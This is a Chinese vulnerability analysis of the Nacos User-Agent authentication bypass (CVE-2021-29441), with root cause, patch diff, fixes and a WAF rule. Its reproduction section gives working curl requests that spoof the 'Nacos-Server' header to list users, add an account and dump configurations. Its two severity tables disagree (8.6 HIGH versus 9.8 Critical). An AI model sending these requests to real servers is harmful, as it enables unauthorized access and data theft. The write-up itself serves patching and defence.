一、漏洞简介

1.1 漏洞背景

2021年4月,GitHub Security Lab 披露了 Nacos 存在权限认证绕过漏洞。在 Nacos 1.2 到 1.4.0 版本中,系统在进行认证授权操作时,会判断请求的 User-Agent 是否为 "Nacos-Server",如果是则不进行任何认证。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-29441
危害等级 HIGH / 8.6
漏洞类型 UA 白名单权限认证绕过
披露时间 2021-04-27
影响组件 Nacos
项目 内容
CVE 编号 CVE-2021-29441
危害等级 严重(Critical)
CVSS 评分 9.8
漏洞类型 权限认证绕过(Authentication Bypass)
影响 未授权访问、用户创建、配置泄露
发现者 GitHub Security Lab
公开日期 2021年4月27日
<hr />

补充核验信息:公开时间:2021-04-27;NVD 评分:8.6(HIGH);CWE:CWE-290。

二、影响范围

2.1 受影响的版本

  • Nacos 1.2.0 - 1.4.0

2.2 不受影响的版本

  • Nacos 1.4.1+
  • Nacos 2.x

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Nacos 开启了鉴权功能(nacos.core.auth.enabled=true)
  2. 攻击者能发送特制 HTTP 请求
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Nacos 在处理服务端对服务端的请求时,使用了硬编码的 User-Agent "Nacos-Server" 作为白名单判断标准。攻击者只需在请求头中设置 User-Agent: Nacos-Server,即可绕过所有认证检查。

攻击流程: 1. 攻击者发送带有 User-Agent: Nacos-Server 的请求 2. Nacos 服务端检测到 User-Agent 为白名单值 3. 跳过身份认证,直接处理请求 4. 攻击者可查看用户、创建用户、获取配置等

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞位置:nacos-core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java

问题代码片段

// 硬编码的白名单判断
String userAgent = req.getHeader("User-Agent");
if (userAgent != null && userAgent.equals("Nacos-Server")) {
    // 跳过认证
    return;
}

补丁对比

- String userAgent = req.getHeader("User-Agent");
- if (userAgent != null && userAgent.equals("Nacos-Server")) {
-     return;
- }
+ // 使用可配置的 Identity 替代硬编码 User-Agent
+ String identityHeader = req.getHeader(authConfig.getServerIdentityKey());
+ if (identityHeader != null && identityHeader.equals(authConfig.getServerIdentityValue())) {
+     return;
+ }
<hr />

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker 启动受影响版本
docker run -d --name nacos \
  -e MODE=standalone \
  -e PREFER_HOST_MODE=hostname \
  -p 8848:8848 \
  nacos/nacos-server:1.4.0

4.2 PoC 演示与测试过程

查看用户列表

curl -X GET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' \
  -H 'User-Agent: Nacos-Server'

创建新用户

curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users' \
  -H 'User-Agent: Nacos-Server' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=hacker&password=hacker123'

获取配置信息

curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=100' \
  -H 'User-Agent: Nacos-Server'
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到 Nacos 1.4.1 或更高版本

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

配置自定义 Identity

# application.properties
nacos.core.auth.server.identity.key=customIdentity
nacos.core.auth.server.identity.value=yourSecretValue123!@#

WAF 规则

SecRule REQUEST_HEADERS:User-Agent "@streq Nacos-Server" \
  "deny,log,msg:'Nacos Auth Bypass Attempt'"
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/alibaba/nacos/issues/995

6.2 其他技术参考资料

  • https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
  • https://nvd.nist.gov/vuln/detail/CVE-2021-29441